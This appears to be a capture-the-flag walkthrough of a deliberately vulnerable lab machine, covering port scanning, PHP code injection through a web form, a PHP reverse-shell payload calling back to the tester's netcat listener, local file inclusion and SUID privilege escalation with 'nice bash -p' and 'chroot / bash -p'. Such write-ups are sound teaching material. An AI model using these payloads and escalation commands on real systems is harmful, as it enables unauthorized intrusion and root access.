Uncovering Vulnerabilities: Command Injection Penetration Testing

In this video, we will be diving deep into the world of command injection penetration testing. Command injection is a type of vulnerability that allows an attacker to execute arbitrary commands on a system. By uncovering such vulnerabilities through thorough testing, we can prevent potential security breaches and protect our systems from malicious attacks.

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Identify the target

As usual, I identified the IP address of the target machine.

sudo netdiscover -i eth0 -r

My IP address is and that of the target is

Scan open ports

Next, I scanned the open ports on the target machine. Doing so will give us an idea of the exposed services on the target machine.

nmap -v -T4 -sC -sV -p- -oN nmap.log

Enumerate web server

I checked the webserver at first.

The default page contained two links. Here, the TEST redirects to port 8080. Likewise, the Production link gave me the following page.

Looking at the inputs, it is asking the command and a code. So, I used the arbitrary code (9001) and a valid Linux command ‘id’.

However, it didn’t give me any command execution. But we see some results here. For example, we have now a new GET parameter “out”. Similarly, we see the date and time, and the IP address of my machine. So, we can guess that some variables have been used. Therefore, I tried executing some PHP code.

From the screenshot above, it confirmed that we can execute PHP commands. So, I used the following payload inside the PHP syntax. to get the reverse shell. Before this, I listened on port 9001 for the reverse shell.

nc -nlvp 9001

$sock=fsockopen(““,9001);exec(“bash <&3 >&3 2>&3″);

Finally, I got the shell. Next, I improved the shell using the following link.

Upgrade to an intelligent reverse shell

Bonus: Local File Inclusion

As I told you earlier, there is a new GET parameter “out”. Interestingly, the parameter allowed local file inclusion.

So, we can check the techniques from the following reference.

Only the technique to read the source code worked. This is because the user www-data didn’t have access to do log poisoning. Similarly, some plugins aren’t enabled.


After decoding the code, we see that the command isn’t validated and we could execute remote commands as we did earlier.

Privilege Escalation

Finally, it came to the part to escalate privileges. There were two users ppp and fox. However, I couldn’t find any way to escalate to any of the users. Interestingly, when I looked at the SUID binaries, there were two binaries that could give me root access.

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

Using nice: https://gtfobins.github.io/gtfobins/nice/#suid

nice bash -p

Using chroot: https://gtfobins.github.io/gtfobins/chroot/#suid

chroot / bash -p

I guess this explains the name of the machine. Lastly, I got both flags.

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